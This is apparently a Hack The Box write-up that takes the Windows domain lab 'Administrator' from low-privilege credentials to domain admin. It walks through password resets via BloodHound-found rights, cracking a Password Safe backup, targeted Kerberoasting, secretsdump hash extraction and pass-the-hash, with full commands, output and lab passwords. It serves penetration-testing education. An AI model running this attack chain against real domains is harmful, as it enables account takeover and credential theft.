<![CDATA[Emily Rodriguez]]>

# بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ In this write-up, we will walk through the steps to hack the Administrator machine on Hack The Box. Let's dive in! ## Initial Enumeration with Nmap We began by performing an **Nmap** scan to identify open ports and services on the target machine. ```bash $ nmap -sV 10.10.11.42 -T5 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-06 14:09 EST Nmap scan report for administrator.htb (10.10.11.42) Host is up (0.050s latency). Not shown: 988 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-07 02:09:44Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.54 seconds ``` The scan revealed several open ports, including SMB (445), FTP (21), and LDAP (389). We also had credentials for the user Olivia:ichliebedich , which we used for further enumeration. ## Step 2: Enumeration Services Using **CrackMapExec**, we enumerated the SMB service to identify users and their roles. ```bash $ crackmapexec smb 10.10.11.42 -u Olivia -p ichliebedich --rid-brute | grep "TypeUser" SMB 10.10.11.42 445 DC 500: ADMINISTRATORAdministrator (SidTypeUser) SMB 10.10.11.42 445 DC 501: ADMINISTRATORGuest (SidTypeUser) SMB 10.10.11.42 445 DC 502: ADMINISTRATORkrbtgt (SidTypeUser) SMB 10.10.11.42 445 DC 1000: ADMINISTRATORDC$ (SidTypeUser) SMB 10.10.11.42 445 DC 1108: ADMINISTRATORolivia (SidTypeUser) SMB 10.10.11.42 445 DC 1109: ADMINISTRATORmichael (SidTypeUser) SMB 10.10.11.42 445 DC 1110: ADMINISTRATORbenjamin (SidTypeUser) SMB 10.10.11.42 445 DC 1112: ADMINISTRATORemily (SidTypeUser) SMB 10.10.11.42 445 DC 1113: ADMINISTRATORethan (SidTypeUser) SMB 10.10.11.42 445 DC 3601: ADMINISTRATORalexander (SidTypeUser) SMB 10.10.11.42 445 DC 3602: ADMINISTRATORemma (SidTypeUser) ``` Next, we checked if the Olivia account had access to WinRM. ```bash crackmapexec winrm 10.10.11.42 -u Olivia -p ichliebedich WINRM 10.10.11.42 5985 DC [+] administrator.htbOlivia:ichliebedich (Pwn3d!) ``` The account had access, so we proceeded to use **BloodHound** for further analysis. We used **NetExec** to collect **BloodHound** data. ```bash $ netexec ldap 10.10.11.42 -u olivia -p ichliebedich --bloodhound --collection All --dns-server 10.10.11.42 SMB 10.10.11.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False) LDAP 10.10.11.42 389 DC [+] administrator.htbolivia:ichliebedich LDAP 10.10.11.42 389 DC Resolved collection methods: session, localadmin, rdp, trusts, container, objectprops, psremote, dcom, group, acl LDAP 10.10.11.42 389 DC Done in 00M 10S LDAP 10.10.11.42 389 DC Compressing output into /home/kali/.nxc/logs/DC_10.10.11.42_2025-01-06_142215_bloodhound.zip ``` ## Step 3: bloodhound After importing the data into **BloodHound**, we discovered that Olivia had **GenericAll** privileges over the Michael account. This allowed us to reset Michael's password. [![](/mdx_images/2025/01/image1-1.png)](/mdx_images/2025/01/image1-1.png)Using **Evil-WinRM**, we connected to the Olivia account and reset Michael's password. ```bash $ *Evil-WinRM* PS C:UsersoliviaDocuments> Set-ADAccountPassword -Identity "MICHAEL" -NewPassword (ConvertTo-SecureString "NewPassword" -AsPlainText -Force) -Reset #to reset the pswd without knowing it ``` The new credentials for Michael were Michael:NewPassword . Next, we analyzed Michael's privileges in **BloodHound** and found that he had control over the Benjamin account. We repeated the process to reset Benjamin's password. ```bash $ *Evil-WinRM* PS C:UsersmichaelDocuments> Set-ADAccountPassword -Identity "BENJAMIN" -NewPassword (ConvertTo-SecureString "123456789" -AsPlainText -Force) -Reset ``` The new credentials for Benjamin were Benjamin:123456789. ## Step 4: foothhold Using **CrackMapExec**, we discovered that Benjamin had access to the FTP service. ```bash crackmapexec ftp 10.10.11.42 -u Benjamin -p 123456789 FTP 10.10.11.42 21 10.10.11.42 [*] Banner: Microsoft FTP Service FTP 10.10.11.42 21 10.10.11.42 [+] Benjamin:123456789 ``` We logged into the FTP server and found a backup file named Backup.psafe3. We downloaded it ```bash ftp> get Backup.psafe3 local: Backup.psafe3 remote: Backup.psafe3 229 Entering Extended Passive Mode (|||53174|) 125 Data connection already open; Transfer starting. 100% |***************************************************************************************************| 952 18.73 KiB/s 00:00 ETA 226 Transfer complete. WARNING! 3 bare linefeeds received in ASCII mode. File may not have transferred correctly. 952 bytes received in 00:00 (18.65 KiB/s) ``` Using **pwsafe2john**, we extracted the hash from the backup file. ```bash pwsafe2john Backup.psafe3 backu:$pwsafe$*3*4ff588b74906263ad2abba592aba35d58bcd3a57e307bf79c8479dec6b3149aa*2048*1a941c10167252410ae04b7b43753aaedb4ec63e3f18c646bb084ec4f0944050 ``` We cracked the hash using **John the Ripper** and found the password: tekieromucho. ```bash john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (pwsafe, Password Safe [SHA256 128/128 SSE2 4x]) Cost 1 (iteration count) is 2048 for all loaded hashes Will run 6 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status tekieromucho (?) 1g 0:00:00:00 DONE (2025-01-06 15:02) 2.702g/s 16605p/s 16605c/s 16605C/s adriano..iheartyou Use the "--show" option to display all of the cracked passwords reliably Session completed. ``` After downloading the Backup.psafe3 file from the FTP server, we needed a tool to read its contents. The file was a Password Safe backup, which stores encrypted credentials. Unfortunately, Password Safe did not work on Linux, so we switched to a Windows environment to extract the data. To transfer the file from the Linux VM to a Windows machine, we used the SCP command. First, we ensured that the SSH service was enabled on the Linux VM. Then, we ran the following command in PowerShell on the Windows machine: ```bash scp username@remote_ip:/path/to/remote/file "C:path\to\local\destination" #powershell ``` Once the file was transferred, we opened it using Password Safe on Windows. The backup contained several entries, including credentials for Emily Rodriguez: ```xml <![CDATA[Emily Rodriguez]]> 2024-08-23T08:26:53 ``` Credentials Found: Emily:**UXLCI5iETUsIBoFVTj8yQFKoHjXmb** With these credentials, we accessed the machine using **Evil-WinRM** and retrieved the user flag. ## Step 5: Privilege Escalation Using **BloodHound**, we analyzed the Active Directory relationships and discovered that Emily had GenericWrite privileges over the Ethan account. This meant we could modify Ethan's account properties, including setting a **Service Principal Name** (SPN) for a Targeted Kerberoast attack. ### Performing a Targeted Kerberoast Attack We used the targetedKerberoast.py script to perform the attack: ```bash targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' [*] Starting kerberoast attacks [*] Fetching usernames from Active Directory with LDAP [VERBOSE] SPN added successfully for (ethan) [+] Printing hash for (ethan) $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$5fa946f70a46bec63a74e142c3c36ebf$bdfda40bf8f91e77be2f3dde4434ce64cc6667f4a017571e3a082a2a7770e76786cd90fe0aec394b4c19c97dd1f115a3.... [VERBOSE] SPN removed successfully for (ethan) ``` The script generated a Kerberos TGS ticket hash for the Ethan account. We saved this hash to a file and used **John the Ripper** to crack it: ```bash john ethanhash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Will run 6 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status limpbizkit (?) 1g 0:00:00:00 DONE (2025-01-06 21:53) 11.11g/s 68266p/s 68266c/s 68266C/s Liverpool..iheartyou Use the "--show" option to display all of the cracked passwords reliably Session completed. ``` Cracked Password: Ethan:**limpbizkit** ### Dumping Domain Hashes With Ethan's credentials, we used Impacket's secretsdump to extract the NTLM hashes from the Domain Controller: ```bash impacket-secretsdump administrator.htb/ETHAN:limpbizkit@10.10.11.42 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domainuid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce...:: ``` Finally, we used the Administrator hash to gain access to the machine via **Evil-WinRM**: ```bash evil-winrm -i 10.10.11.42 -u administrator -H 3dc553ce... ``` Once inside, we navigated to the Administrator's Desktop and retrieved the root flag: ```bash *Evil-WinRM* PS C:UsersAdministratorDesktop> cat root.txt a5.... ``` **GG!** ## Conclusion This machine was an excellent exercise in Active Directory enumeration and privilege escalation. Key takeaways include: **BloodHound** is an invaluable tool for visualizing Active Directory relationships and identifying misconfigurations. Targeted Kerberoasting is a powerful technique for escalating privileges by exploiting weak service account passwords. **Impacket's secretsdump** is essential for extracting hashes and gaining domain administrator access. Thorough enumeration and understanding of Active Directory misconfigurations are critical for successful exploitation. This challenge reinforced the importance of persistence and creativity in penetration testing. By leveraging tools like **BloodHound**, **Impacket**, and **John the Ripper**, we were able to systematically escalate privileges and compromise the domain.

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